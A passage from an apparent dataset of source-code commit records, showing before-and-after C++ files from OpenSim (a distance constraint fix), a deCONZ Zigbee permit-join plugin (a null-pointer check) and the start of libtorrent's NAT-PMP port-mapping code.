(documentVersion < XMLDocument::getLatestVersion()){\n if (documentVersion<30500){\n \/\/ replace old properties with latest use of Connectors\n SimTK::Xml::element_iterator body1Element = aNode.element_begin(\"body_1\");\n SimTK::Xml::element_iterator body2Element = aNode.element_begin(\"body_2\");\n std::string body1_name(\"\"), body2_name(\"\");\n \/\/ If default constructed then elements not serialized since they are default\n \/\/ values. Check that we have associated elements, then extract their values.\n if (body1Element != aNode.element_end())\n body1Element->getValueAs<std::string>(body1_name);\n if (body2Element != aNode.element_end())\n body2Element->getValueAs<std::string>(body2_name);\n XMLDocument::addConnector(aNode, \"Connector_PhysicalFrame_\", \"body_1\", body1_name);\n XMLDocument::addConnector(aNode, \"Connector_PhysicalFrame_\", \"body_2\", body2_name);\n }\n }\n\n Super::updateFromXMLNode(aNode, versionNumber);\n}\/\/ Visual support ConstantDistanceConstraint drawing in SimTK visualizer.\nvoid ConstantDistanceConstraint::generateDecorations(\n bool fixed,\n const ModelDisplayHints& hints,\n const SimTK::State& state,\n SimTK::Array_<SimTK::DecorativeGeometry>& appendToThis) const\n{\n Super::generateDecorations(fixed, hints, state, appendToThis);\n if (fixed) return;\n const Vec3 pink(1, .6, .8);\n const OpenSim::PhysicalFrame& frame1 = getBody1();\n const Vec3& p_B1 = frame1.getGroundTransform(state)*get_location_body_1();\n const OpenSim::PhysicalFrame& frame2 = getBody2();\n const Vec3& p_B2 = frame2.getGroundTransform(state)*get_location_body_2();\n appendToThis.push_back(\n SimTK::DecorativeLine(p_B1, p_B2).setBodyId(0)\n .setColor(pink).setOpacity(1.0).setLineThickness(.05));\n}\n<commit_msg>Fixed incorrect template argument for ConstantDistanceConstraint getConnectee<>- should be PhysicalFrame instead of Body. Was only causing build failure in debug.<commit_after>\/* -------------------------------------------------------------------------- *\n * OpenSim: ConstantDistanceConstraint.cpp *\n * -------------------------------------------------------------------------- *\n * The OpenSim API is a toolkit for musculoskeletal modeling and simulation. *\n * See http:\/\/opensim.stanford.edu and the NOTICE file for more information. *\n * OpenSim is developed at Stanford University and supported by the US *\n * National Institutes of Health (U54 GM072970, R24 HD065690) and by DARPA *\n * through the Warrior Web program. *\n * *\n * Copyright (c) 2005-2012 Stanford University and the Authors *\n * Author(s): Matt S. DeMers *\n * *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may *\n * not use this file except in compliance with the License. You may obtain a *\n * copy of the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0. *\n * *\n * Unless required by applicable law or agreed to in writing, software *\n * distributed under the License is distributed on an \"AS IS\" BASIS, *\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. *\n * See the License for the specific language governing permissions and *\n * limitations under the License. *\n * -------------------------------------------------------------------------- *\/\n\n\/\/=============================================================================\n\/\/ INCLUDES\n\/\/=============================================================================\n#include <iostream>\n#include <math.h>\n#include <OpenSim\/Common\/Function.h>\n#include <OpenSim\/Common\/Constant.h>\n#include <OpenSim\/Simulation\/Model\/BodySet.h>\n#include <OpenSim\/Simulation\/Model\/Model.h>\n\n#include \"ConstantDistanceConstraint.h\"\n#include \"SimbodyEngine.h\"\n\n\/\/=============================================================================\n\/\/ STATICS\n\/\/=============================================================================\nusing namespace std;\nusing namespace SimTK;\nusing namespace OpenSim;\n\n\/\/=============================================================================\n\/\/ CONSTRUCTOR(S) AND DESTRUCTOR\n\/\/=============================================================================\n\/\/_____________________________________________________________________________\n\/**\n * Destructor.\n *\/\nConstantDistanceConstraint::~ConstantDistanceConstraint()\n{\n}\n\n\/\/=============================================================================\n\/\/ CONSTRUCTION\n\/\/=============================================================================\n\/* Default constructor.\n *\/\nConstantDistanceConstraint::ConstantDistanceConstraint() :\n Constraint()\n{\n setNull();\n constructInfrastructure();\n}\n\n\/*\n * Convenience Constructor.\n*\/\nConstantDistanceConstraint::ConstantDistanceConstraint(\n const PhysicalFrame& body1, const SimTK::Vec3& locationBody1,\n const PhysicalFrame& body2, const SimTK::Vec3& locationBody2,\n const double& distance) : Constraint()\n{\n setNull();\n constructInfrastructure();\n\n setBody1ByName(body1.getName());\n setBody2ByName(body2.getName());\n set_location_body_1(locationBody1);\n\n set_location_body_2(locationBody2);\n set_constant_distance(distance);\n}\n\n\/* Set the data members of this ConstantDistanceConstraint to their null values.\n *\/\nvoid ConstantDistanceConstraint::setNull()\n{\n setAuthors(\"Matt S. DeMers\");\n}\n\n\/\/_____________________________________________________________________________\n\/**\n * Connect properties to local pointers.\n *\/\nvoid ConstantDistanceConstraint::constructProperties()\n{\n \/\/Default location and orientation (rotation sequence)\n SimTK::Vec3 origin(0.0, 0.0, 0.0);\n\n constructProperty_location_body_1(origin);\n constructProperty_location_body_2(origin);\n\n \/\/ Constant distance between points\n constructProperty_constant_distance(SimTK::NaN);\n}\n\nvoid ConstantDistanceConstraint::constructConnectors()\n{\n constructConnector<PhysicalFrame>(\"body_1\");\n constructConnector<PhysicalFrame>(\"body_2\");\n}\n\n\nvoid ConstantDistanceConstraint::extendAddToSystem(SimTK::MultibodySystem& system) const\n{\n Super::extendAddToSystem(system);\n\n \/\/ Get underlying mobilized bodies\n const PhysicalFrame& f1 = getConnectee<PhysicalFrame>(\"body_1\");\n const PhysicalFrame& f2 = getConnectee<PhysicalFrame>(\"body_2\");\n\n SimTK::MobilizedBody b1 = f1.getMobilizedBody();\n SimTK::MobilizedBody b2 = f2.getMobilizedBody();\n\n \/\/ Now create a Simbody Constraint::Rod\n SimTK::Constraint::Rod simtkRod(b1, get_location_body_1(),\n b2, get_location_body_2(),\n get_constant_distance() );\n \n \/\/ Beyond the const Component get the index so we can access the SimTK::Constraint later\n assignConstraintIndex(simtkRod.getConstraintIndex());\n}\n\n\/\/=============================================================================\n\/\/ GET\/SET\n\/\/=============================================================================\nconst PhysicalFrame& ConstantDistanceConstraint::getBody1() const\n{\n return getConnectee<PhysicalFrame>(\"body_1\");\n}\n\nconst PhysicalFrame& ConstantDistanceConstraint::getBody2() const\n{\n return getConnectee<PhysicalFrame>(\"body_2\");\n}\n\n\/*\n* Following methods set attributes of the constraint *\/\nvoid ConstantDistanceConstraint::setBody1ByName(const std::string& aBodyName)\n{\n updConnector<PhysicalFrame>(\"body_1\").set_connectee_name(aBodyName);\n}\n\nvoid ConstantDistanceConstraint::setBody2ByName(const std::string& aBodyName)\n{\n updConnector<PhysicalFrame>(\"body_2\").set_connectee_name(aBodyName);\n}\n\n\/** Set the location for point on body 1*\/\nvoid ConstantDistanceConstraint::setBody1PointLocation(Vec3 location)\n{\n set_location_body_1(location);\n}\n\n\/** Set the location for point on body 2*\/\nvoid ConstantDistanceConstraint::setBody2PointLocation(Vec3 location)\n{\n set_location_body_2(location);\n}\n\n\/** Set the constant distance between the two points*\/\nvoid ConstantDistanceConstraint::setConstantDistance(double distance)\n{\n set_constant_distance(distance);\n}\n\nvoid ConstantDistanceConstraint::updateFromXMLNode(SimTK::Xml::Element& aNode, int versionNumber)\n{\n int documentVersion = versionNumber;\n if (documentVersion < XMLDocument::getLatestVersion()){\n if (documentVersion<30500){\n \/\/ replace old properties with latest use of Connectors\n SimTK::Xml::element_iterator body1Element = aNode.element_begin(\"body_1\");\n SimTK::Xml::element_iterator body2Element = aNode.element_begin(\"body_2\");\n std::string body1_name(\"\"), body2_name(\"\");\n \/\/ If default constructed then elements not serialized since they are default\n \/\/ values. Check that we have associated elements, then extract their values.\n if (body1Element != aNode.element_end())\n body1Element->getValueAs<std::string>(body1_name);\n if (body2Element != aNode.element_end())\n body2Element->getValueAs<std::string>(body2_name);\n XMLDocument::addConnector(aNode, \"Connector_PhysicalFrame_\", \"body_1\", body1_name);\n XMLDocument::addConnector(aNode, \"Connector_PhysicalFrame_\", \"body_2\", body2_name);\n }\n }\n\n Super::updateFromXMLNode(aNode, versionNumber);\n}\/\/ Visual support ConstantDistanceConstraint drawing in SimTK visualizer.\nvoid ConstantDistanceConstraint::generateDecorations(\n bool fixed,\n const ModelDisplayHints& hints,\n const SimTK::State& state,\n SimTK::Array_<SimTK::DecorativeGeometry>& appendToThis) const\n{\n Super::generateDecorations(fixed, hints, state, appendToThis);\n if (fixed) return;\n const Vec3 pink(1, .6, .8);\n const OpenSim::PhysicalFrame& frame1 = getBody1();\n const Vec3& p_B1 = frame1.getGroundTransform(state)*get_location_body_1();\n const OpenSim::PhysicalFrame& frame2 = getBody2();\n const Vec3& p_B2 = frame2.getGroundTransform(state)*get_location_body_2();\n appendToThis.push_back(\n SimTK::DecorativeLine(p_B1, p_B2).setBodyId(0)\n .setColor(pink).setOpacity(1.0).setLineThickness(.05));\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\r\n * Copyright (c) 2016 dresden elektronik ingenieurtechnik gmbh.\r\n * All rights reserved.\r\n *\r\n * The software in this package is published under the terms of the BSD\r\n * style license a copy of which has been included with this distribution in\r\n * the LICENSE.txt file.\r\n *\r\n *\/\r\n#include \"de_web_plugin.h\"\r\n#include \"de_web_plugin_private.h\"\r\n\r\n\/*! Inits permit join manager.\r\n\r\n The manager will observe and ensure the global permit join state.\r\n *\/\r\nvoid DeRestPluginPrivate::initPermitJoin()\r\n{\r\n permitJoinFlag = false;\r\n permitJoinTimer = new QTimer(this);\r\n permitJoinTimer->setSingleShot(false);\r\n connect(permitJoinTimer, SIGNAL(timeout()),\r\n this, SLOT(permitJoinTimerFired()));\r\n permitJoinTimer->start(1000);\r\n permitJoinLastSendTime = QTime::currentTime();\r\n\r\n resendPermitJoinTimer = new QTimer(this);\r\n resendPermitJoinTimer->setSingleShot(true);\r\n connect(resendPermitJoinTimer, SIGNAL(timeout()),\r\n this, SLOT(resendPermitJoinTimerFired()));\r\n}\r\n\r\n\/*! Sets the permit join interval\r\n\r\n \\param duration specifies the interval in which joining is enabled\r\n - 0 disabled\r\n - 1..254 duration in seconds until joining will be disabled\r\n - 255 always permit\r\n * \\return\r\n *\/\r\nbool DeRestPluginPrivate::setPermitJoinDuration(uint8_t duration)\r\n{\r\n if (gwPermitJoinDuration != duration)\r\n {\r\n gwPermitJoinDuration = duration;\r\n }\r\n\r\n \/\/ force resend\r\n permitJoinLastSendTime = QTime();\r\n return true;\r\n}\r\n\r\n\/*! Handle broadcasting of permit join interval.\r\n\r\n This is done every PERMIT_JOIN_SEND_INTERVAL to ensure\r\n any node in the network has the same settings.\r\n *\/\r\nvoid DeRestPluginPrivate::permitJoinTimerFired()\r\n{\r\n Q_Q(DeRestPlugin);\r\n if (!q->pluginActive())\r\n {\r\n return;\r\n }\r\n\r\n if ((gwPermitJoinDuration > 0) && (gwPermitJoinDuration < 255))\r\n {\r\n permitJoinFlag = true;\r\n gwPermitJoinDuration--;\r\n updateEtag(gwConfigEtag); \/\/ update Etag so that webApp can count down permitJoin duration\r\n\r\n \/\/periodically check if there are deleted lights and undelete them\r\n if (gwPermitJoinDuration % 10 == 0)\r\n {\r\n std::vector<LightNode>::iterator i = nodes.begin();\r\n std::vector<LightNode>::iterator end = nodes.end();\r\n\r\n for (; i != end; ++i)\r\n {\r\n if (i->state() == LightNode::StateDeleted)\r\n {\r\n if (i->isAvailable())\r\n {\r\n i->setState(LightNode::StateNormal);\r\n i->setNeedSaveDatabase(true);\r\n queSaveDb(DB_LIGHTS, DB_SHORT_SAVE_DELAY);\r\n }\r\n }\r\n }\r\n }\r\n }\r\n\r\n if (gwPermitJoinDuration == 0 && permitJoinFlag)\r\n {\r\n permitJoinFlag = false;\r\n }\r\n\r\n if (!isInNetwork())\r\n {\r\n return;\r\n }\r\n\r\n if (gwPermitJoinDuration == 0 && otauLastBusyTimeDelta() < (60 * 5))\r\n {\r\n \/\/ don't pollute channel while OTA is running\r\n return;\r\n }\r\n\r\n QTime now = QTime::currentTime();\r\n int diff = permitJoinLastSendTime.msecsTo(now);\r\n\r\n if (!permitJoinLastSendTime.isValid() || (diff > PERMIT_JOIN_SEND_INTERVAL))\r\n {\r\n deCONZ::ApsDataRequest apsReq;\r\n quint8 tcSignificance = 0x01;\r\n\r\n apsReq.setDstAddressMode(deCONZ::ApsNwkAddress);\r\n apsReq.dstAddress().setNwk(deCONZ::BroadcastRouters);\r\n apsReq.setProfileId(ZDP_PROFILE_ID);\r\n apsReq.setClusterId(ZDP_MGMT_PERMIT_JOINING_REQ_CLID);\r\n apsReq.setDstEndpoint(ZDO_ENDPOINT);\r\n apsReq.setSrcEndpoint(ZDO_ENDPOINT);\r\n apsReq.setTxOptions(0);\r\n apsReq.setRadius(0);\r\n\r\n QDataStream stream(&apsReq.asdu(), QIODevice::WriteOnly);\r\n stream.setByteOrder(QDataStream::LittleEndian);\r\n\r\n stream << (uint8_t)now.second(); \/\/ seqno\r\n stream << gwPermitJoinDuration;\r\n stream << tcSignificance;\r\n\r\n DBG_Assert(apsCtrl != 0);\r\n\r\n if (!apsCtrl)\r\n {\r\n return;\r\n }\r\n\r\n \/\/ set for own node\r\n apsCtrl->setPermitJoin(gwPermitJoinDuration);\r\n\r\n \/\/ broadcast\r\n if (apsCtrl->apsdeDataRequest(apsReq) == deCONZ::Success)\r\n {\r\n DBG_Printf(DBG_INFO, \"send permit join, duration: %d\\n\", gwPermitJoinDuration);\r\n permitJoinLastSendTime = now;\r\n }\r\n else\r\n {\r\n DBG_Printf(DBG_INFO, \"send permit join failed\\n\");\r\n }\r\n }\r\n}\r\n\r\n\/*! Check if permitJoin is > 60 seconds then resend permitjoin with 60 seconds\r\n *\/\r\nvoid DeRestPluginPrivate::resendPermitJoinTimerFired()\r\n{\r\n resendPermitJoinTimer->stop();\r\n if (gwPermitJoinDuration <= 1)\r\n {\r\n if (gwPermitJoinResend > 0)\r\n {\r\n\r\n if (gwPermitJoinResend >= 60)\r\n {\r\n setPermitJoinDuration(60);\r\n }\r\n else\r\n {\r\n setPermitJoinDuration(gwPermitJoinResend);\r\n }\r\n gwPermitJoinResend -= 60;\r\n updateEtag(gwConfigEtag);\r\n if (gwPermitJoinResend <= 0)\r\n {\r\n gwPermitJoinResend = 0;\r\n return;\r\n }\r\n\r\n }\r\n else if (gwPermitJoinResend == 0)\r\n {\r\n setPermitJoinDuration(0);\r\n return;\r\n }\r\n }\r\n else if (gwPermitJoinResend == 0)\r\n {\r\n setPermitJoinDuration(0);\r\n return;\r\n }\r\n resendPermitJoinTimer->start(1000);\r\n}\r\n<commit_msg>Check apsCtrl in permitJoinTimerFired()<commit_after>\/*\r\n * Copyright (c) 2016 dresden elektronik ingenieurtechnik gmbh.\r\n * All rights reserved.\r\n *\r\n * The software in this package is published under the terms of the BSD\r\n * style license a copy of which has been included with this distribution in\r\n * the LICENSE.txt file.\r\n *\r\n *\/\r\n#include \"de_web_plugin.h\"\r\n#include \"de_web_plugin_private.h\"\r\n\r\n\/*! Inits permit join manager.\r\n\r\n The manager will observe and ensure the global permit join state.\r\n *\/\r\nvoid DeRestPluginPrivate::initPermitJoin()\r\n{\r\n permitJoinFlag = false;\r\n permitJoinTimer = new QTimer(this);\r\n permitJoinTimer->setSingleShot(false);\r\n connect(permitJoinTimer, SIGNAL(timeout()),\r\n this, SLOT(permitJoinTimerFired()));\r\n permitJoinTimer->start(1000);\r\n permitJoinLastSendTime = QTime::currentTime();\r\n\r\n resendPermitJoinTimer = new QTimer(this);\r\n resendPermitJoinTimer->setSingleShot(true);\r\n connect(resendPermitJoinTimer, SIGNAL(timeout()),\r\n this, SLOT(resendPermitJoinTimerFired()));\r\n}\r\n\r\n\/*! Sets the permit join interval\r\n\r\n \\param duration specifies the interval in which joining is enabled\r\n - 0 disabled\r\n - 1..254 duration in seconds until joining will be disabled\r\n - 255 always permit\r\n * \\return\r\n *\/\r\nbool DeRestPluginPrivate::setPermitJoinDuration(uint8_t duration)\r\n{\r\n if (gwPermitJoinDuration != duration)\r\n {\r\n gwPermitJoinDuration = duration;\r\n }\r\n\r\n \/\/ force resend\r\n permitJoinLastSendTime = QTime();\r\n return true;\r\n}\r\n\r\n\/*! Handle broadcasting of permit join interval.\r\n\r\n This is done every PERMIT_JOIN_SEND_INTERVAL to ensure\r\n any node in the network has the same settings.\r\n *\/\r\nvoid DeRestPluginPrivate::permitJoinTimerFired()\r\n{\r\n Q_Q(DeRestPlugin);\r\n if (!q->pluginActive() || !apsCtrl)\r\n {\r\n return;\r\n }\r\n\r\n if ((gwPermitJoinDuration > 0) && (gwPermitJoinDuration < 255))\r\n {\r\n permitJoinFlag = true;\r\n gwPermitJoinDuration--;\r\n updateEtag(gwConfigEtag); \/\/ update Etag so that webApp can count down permitJoin duration\r\n\r\n \/\/periodically check if there are deleted lights and undelete them\r\n if (gwPermitJoinDuration % 10 == 0)\r\n {\r\n std::vector<LightNode>::iterator i = nodes.begin();\r\n std::vector<LightNode>::iterator end = nodes.end();\r\n\r\n for (; i != end; ++i)\r\n {\r\n if (i->state() == LightNode::StateDeleted)\r\n {\r\n if (i->isAvailable())\r\n {\r\n i->setState(LightNode::StateNormal);\r\n i->setNeedSaveDatabase(true);\r\n queSaveDb(DB_LIGHTS, DB_SHORT_SAVE_DELAY);\r\n }\r\n }\r\n }\r\n }\r\n }\r\n\r\n if (gwPermitJoinDuration == 0 && permitJoinFlag)\r\n {\r\n permitJoinFlag = false;\r\n }\r\n\r\n if (!isInNetwork())\r\n {\r\n return;\r\n }\r\n\r\n if (gwPermitJoinDuration == 0 && otauLastBusyTimeDelta() < (60 * 5))\r\n {\r\n \/\/ don't pollute channel while OTA is running\r\n return;\r\n }\r\n\r\n QTime now = QTime::currentTime();\r\n int diff = permitJoinLastSendTime.msecsTo(now);\r\n\r\n if (!permitJoinLastSendTime.isValid() || (diff > PERMIT_JOIN_SEND_INTERVAL))\r\n {\r\n deCONZ::ApsDataRequest apsReq;\r\n quint8 tcSignificance = 0x01;\r\n\r\n apsReq.setDstAddressMode(deCONZ::ApsNwkAddress);\r\n apsReq.dstAddress().setNwk(deCONZ::BroadcastRouters);\r\n apsReq.setProfileId(ZDP_PROFILE_ID);\r\n apsReq.setClusterId(ZDP_MGMT_PERMIT_JOINING_REQ_CLID);\r\n apsReq.setDstEndpoint(ZDO_ENDPOINT);\r\n apsReq.setSrcEndpoint(ZDO_ENDPOINT);\r\n apsReq.setTxOptions(0);\r\n apsReq.setRadius(0);\r\n\r\n QDataStream stream(&apsReq.asdu(), QIODevice::WriteOnly);\r\n stream.setByteOrder(QDataStream::LittleEndian);\r\n\r\n stream << (uint8_t)now.second(); \/\/ seqno\r\n stream << gwPermitJoinDuration;\r\n stream << tcSignificance;\r\n\r\n DBG_Assert(apsCtrl != 0);\r\n\r\n if (!apsCtrl)\r\n {\r\n return;\r\n }\r\n\r\n \/\/ set for own node\r\n apsCtrl->setPermitJoin(gwPermitJoinDuration);\r\n\r\n \/\/ broadcast\r\n if (apsCtrl->apsdeDataRequest(apsReq) == deCONZ::Success)\r\n {\r\n DBG_Printf(DBG_INFO, \"send permit join, duration: %d\\n\", gwPermitJoinDuration);\r\n permitJoinLastSendTime = now;\r\n }\r\n else\r\n {\r\n DBG_Printf(DBG_INFO, \"send permit join failed\\n\");\r\n }\r\n }\r\n}\r\n\r\n\/*! Check if permitJoin is > 60 seconds then resend permitjoin with 60 seconds\r\n *\/\r\nvoid DeRestPluginPrivate::resendPermitJoinTimerFired()\r\n{\r\n resendPermitJoinTimer->stop();\r\n if (gwPermitJoinDuration <= 1)\r\n {\r\n if (gwPermitJoinResend > 0)\r\n {\r\n\r\n if (gwPermitJoinResend >= 60)\r\n {\r\n setPermitJoinDuration(60);\r\n }\r\n else\r\n {\r\n setPermitJoinDuration(gwPermitJoinResend);\r\n }\r\n gwPermitJoinResend -= 60;\r\n updateEtag(gwConfigEtag);\r\n if (gwPermitJoinResend <= 0)\r\n {\r\n gwPermitJoinResend = 0;\r\n return;\r\n }\r\n\r\n }\r\n else if (gwPermitJoinResend == 0)\r\n {\r\n setPermitJoinDuration(0);\r\n return;\r\n }\r\n }\r\n else if (gwPermitJoinResend == 0)\r\n {\r\n setPermitJoinDuration(0);\r\n return;\r\n }\r\n resendPermitJoinTimer->start(1000);\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>\/*\n\nCopyright (c) 2007, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include <libtorrent\/natpmp.hpp>\n#include <libtorrent\/io.hpp>\n#include <boost\/bind.hpp>\n#include <boost\/date_time\/posix_time\/posix_time.hpp>\n#include <asio\/ip\/host_name.hpp>\n\nusing boost::bind;\nusing namespace libtorrent;\nusing boost::posix_time::microsec_clock;\n\nnatpmp::natpmp(io_service& ios, portmap_callback_t const& cb)\n\t: m_callback(cb)\n\t, m_currently_mapping(-1)\n\t, m_retry_count(0)\n\t, m_socket(ios)\n\t, m_send_timer(ios)\n\t, m_refresh_timer(ios)\n\t, m_disabled(false)\n{\n\tm_mappings[0].protocol = 2; \/\/ tcp\n\tm_mappings[1].protocol = 1; \/\/ udp\n\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\tm_log.open(\"natpmp.log\", std::ios::in | std::ios::out | std::ios::trunc);\n#endif\n\t\n\tudp::resolver r(ios);\n\tudp::resolver::iterator i = r.resolve(udp::resolver::query(asio::ip::host_name(), \"0\"));\n\tfor (;i != udp::resolver_iterator(); ++i)\n\t{\n\t\tif (i->endpoint().address().is_v4()) break;\n\t}\n\n\tif (i == udp::resolver_iterator())\n\t{\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\t\tm_log << \"local host name did not resolve to an IPv4 address. \"\n\t\t\t\"disabling NAT-PMP\" << std::endl;\n#endif\n\t\tm_disabled = true;\n\t\treturn;\n\t}\n\n\taddress_v4 local = i->endpoint().address().to_v4();\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\tm_log << to_simple_string(microsec_clock::universal_time())\n\t\t<< \" local ip: \" << local.to_string() << std::endl;\n#endif\n\n\tif ((local.to_ulong() & 0xff000000) != 0x0a000000\n\t\t&& (local.to_ulong() & 0xfff00000) != 0xac100000\n\t\t&& (local.to_ulong() & 0xffff0000) != 0xaca80000)\n\t{\n\t\t\/\/ the local address seems to be an external\n\t\t\/\/ internet address. Assume it is not behind a NAT\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\t\tm_log << \"not on a NAT. disabling NAT-PMP\" << std::endl;\n#endif\n\t\tm_disabled = true;\n\t\treturn;\n\t}\n\n\t\/\/ assume the router is located on the local\n\t\/\/ network as x.x.x.1\n\t\/\/ TODO: find a better way to figure out the router IP\n\tm_nat_endpoint = udp::endpoint(\n\t\taddress_v4((local.to_ulong() & 0xffffff00) | 1), 5351);\n\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\tm_log << \"assuming router is at: \" << m_nat_endpoint.address().to_string() << std::endl;\n#endif\n\n\tm_socket.open(udp::v4());\n\tm_socket.bind(udp::endpoint());\n}\n\nvoid natpmp::set_mappings(int tcp, int udp)\n{\n\tif (m_disabled) return;\n\tupdate_mapping(0, tcp);\n\tupdate_mapping(1, udp);\n}\n\nvoid natpmp::update_mapping(int i, int port)\n{\n\tnatpmp::mapping& m = m_mappings[i];\n\tif (port <= 0) return;\n\tif (m.local_port != port)\n\t\tm.need_update = true;\n\n\tm.local_port = port;\n\t\/\/ prefer the same external port as the local port\n\tif (m.external_port == 0) m.external_port = port;\n\n\tif (m_currently_mapping == -1)\n\t{\n\t\t\/\/ the socket is not currently in use\n\t\t\/\/ send out a mapping request\n\t\tm_retry_count = 0;\n\t\tsend_map_request(i);\n\t\tm_socket.async_receive_from(asio::buffer(&m_response_buffer, 16)\n\t\t\t, m_remote, bind(&natpmp::on_reply, this, _1, _2));\n\t}\n}\n\nvoid natpmp::send_map_request(int i) try\n{\n\tusing namespace libtorrent::detail;\n\tusing boost::posix_time::milliseconds;\n\n\tassert(m_currently_mapping == -1\n\t\t|| m_currently_mapping == i);\n\tm_currently_mapping = i;\n\tmapping& m = m_mappings[i];\n\tchar buf[12];\n\tchar* out = buf;\n\twrite_uint8(0, out); \/\/ NAT-PMP version\n\twrite_uint8(m.protocol, out); \/\/ map \"protocol\"\n\twrite_uint16(0, out); \/\/ reserved\n\twrite_uint16(m.local_port, out); \/\/ private port\n\twrite_uint16(m.external_port, out); \/\/ requested public port\n\tint ttl = m.external_port == 0 ? 0 : 3600;\n\twrite_uint32(ttl, out); \/\/ port mapping lifetime\n\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\tm_log << to_simple_string(microsec_clock::universal_time())\n\t\t<< \" ==> port map request: \" << (m.protocol == 1 ? \"udp\" : \"tcp\")\n\t\t<< \" local: \" << m.local_port << \" external: \" << m.external_port\n\t\t<< \" ttl: \" << ttl << std::endl;\n#endif\n\n\tm_socket.send_to(asio::buffer(buf, 12), m_nat_endpoint);\n\t\/\/ linear back-off instead of exponential\n\t++m_retry_count;\n\tm_send_timer.expires_from_now(milliseconds(250 * m_retry_count));\n\tm_send_timer.async_wait(bind(&natpmp::resend_request, this, i, _1));\n}\ncatch (std::exception& e)\n{\n\tstd::string err = e.what();\n}\n\nvoid natpmp::resend_request(int i, asio::error_code const& e)\n{\n\tusing boost::posix_time::hours;\n\tif (e) return;\n\tif (m_retry_count >= 9)\n\t{\n\t\tm_mappings[i].need_update = false;\n\t\t\/\/ try again in two hours\n\t\tm_mappings[i].expires\n\t\t\t= boost::posix_time::second_clock::universal_time() + hours(2);\n\t\treturn;\n\t}\n\tsend_map_request(i);\n}\n\nvoid natpmp::on_reply(asio::error_code const& e\n\t, std::size_t bytes_transferred)\n{\n\tusing namespace libtorrent::detail;\n\tusing boost::posix_time::seconds;\n\tif (e) return;\n\n\ttry\n\t{\n\n\t\tif (m_remote != m_nat_endpoint)\n\t\t{\n\t\t\tm_socket.async_receive_from(asio::buffer(&m_response_buffer, 16)\n\t\t\t\t, m_remote, bind(&natpmp::on_reply, this, _1, _2));\n\t\t\treturn;\n\t\t}\n\t\t\n\t\tm_send_timer.cancel();\n\n\t\tassert(m_currently_mapping >= 0);\n\t\tint i = m_currently_mapping;\n\t\tmapping& m = m_mappings[i];\n\n\t\tchar* in = m_response_buffer;\n\t\tint version = read_uint8(in);\n\t\tint cmd = read_uint8(in);\n\t\tint result = read_uint16(in);\n\t\tint time = read_uint32(in);\n\t\tint private_port = read_uint16(in);\n\t\tint public_port = read_uint16(in);\n\t\tint lifetime = read_uint32(in);\n\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\t\tm_log << to_simple_string(microsec_clock::universal_time())\n\t\t\t<< \" <== port map response: \" << (cmd - 128 == 1 ? \"udp\" : \"tcp\")\n\t\t\t<< \" local: \" << private_port << \" external: \" << public_port\n\t\t\t<< \" ttl: \" << lifetime << std::endl;\n#endif\n\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\t\tif (version != 0)\n\t\t{\n\t\t\tm_log << \"*** unexpected version: \" << version << std::endl;\n\t\t}\n#endif\n\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\t\tif (private_port != m.local_port)\n\t\t{\n\t\t\tm_log << \"*** unexpected local port: \" << private_port << std::endl;\n\t\t}\n#endif\n\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\t\tif (cmd != 128 + m.protocol)\n\t\t{\n\t\t\tm_log << \"*** unexpected protocol: \" << (cmd - 128) << std::endl;\n\t\t}\n#endif\n\n\t\tif (public_port == 0 || lifetime == 0)\n\t\t{\n\t\t\t\/\/ this means the mapping was\n\t\t\t\/\/ successfully closed\n\t\t\tm.local_port = 0;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tm.expires = boost::posix_time::second_clock::universal_time()\n\t\t\t\t+ seconds(int(lifetime * 0.7f));\n\t\t\tm.external_port = public_port;\n\t\t}\n\t\t\n\t\tif (result != 0)\n\t\t{\n#if defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)\n\t\t\tm_log << \"*** ERROR: \" << result << std::endl;\n#endif\n\t\t\tstd::stringstream errmsg;\n\t\t\terrmsg << \"NAT router reports error (\" << result << \") \";\n\t\t\tswitch (result)\n\t\t\t{\n\t\t\t\tcase 1: errmsg << \"Unsupported protocol version\"; 